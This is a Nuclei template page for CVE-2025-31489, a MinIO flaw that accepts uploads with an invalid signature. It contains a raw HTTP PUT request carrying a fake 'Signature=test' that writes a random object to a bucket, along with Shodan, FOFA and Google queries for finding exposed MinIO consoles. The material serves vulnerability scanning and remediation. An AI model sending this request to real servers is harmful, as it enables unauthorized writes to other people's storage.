Skip to content
Nuclei Templates

MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads

ID: CVE-2025-31489

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,minio,signature-bypass,intrusive

Description

Section titled “Description”

MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have accessto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.

YAML Source

Section titled “YAML Source”
id: CVE-2025-31489


info:
  name: MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access
    to - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.
  remediation: This issue is fixed in RELEASE.2025-04-03T14-56-28Z.
  reference:
    - https://github.com/minio/minio/pull/21103
    - https://github.com/minio/minio/security/advisories/GHSA-wg47-6jq2-q2hh
  classification:
    epss-score: 0.0003
    epss-percentile: 0.05353
  metadata:
    verified: true
    max-request: 1
    vendor: minio
    product: console
    shodan-query: http.title:"minio console"
    fofa-query:
      - app="minio-console"
      - title="minio console"
    google-query: intitle:"minio console"
  tags: cve,cve2025,minio,signature-bypass,intrusive


variables:
  bucket: "{{bucket}}"
  access_key_id: "{{access_key_id}}"
  object: "{{randstr}}.txt"
  region: ""


http:
  - raw:
      - |
        PUT /{{bucket}}/{{object}} HTTP/1.1
        Host: {{Hostname}}
        x-amz-content-sha256: STREAMING-UNSIGNED-PAYLOAD-TRAILER
        Authorization: Credential={{access_key_id}}/{{date_time("%Y%M%D")}}/{{region}}/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=test
        X-Amz-Decoded-Content-Length: 8
        Content-Encoding: aws-chunked
        X-Amz-Trailer: x-amz-checksum-crc32
        Transfer-Encoding: chunked
        Trailer: x-amz-trailer-signature


        8
        {{rand_text_alphanumeric(8)}}
        0


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(to_lower(header), "x-amz-id", "x-amz-request-id")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220319dc4f892b3edb4ae5170c6821d1afcb2d9754a415bb9474a7aaf3fbbae0b260221009ed002fffe76a063ef9e4796bcadb366dcde3d5c51b0d4c6459b2fef12f27eeb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-31489.yaml"

View on Github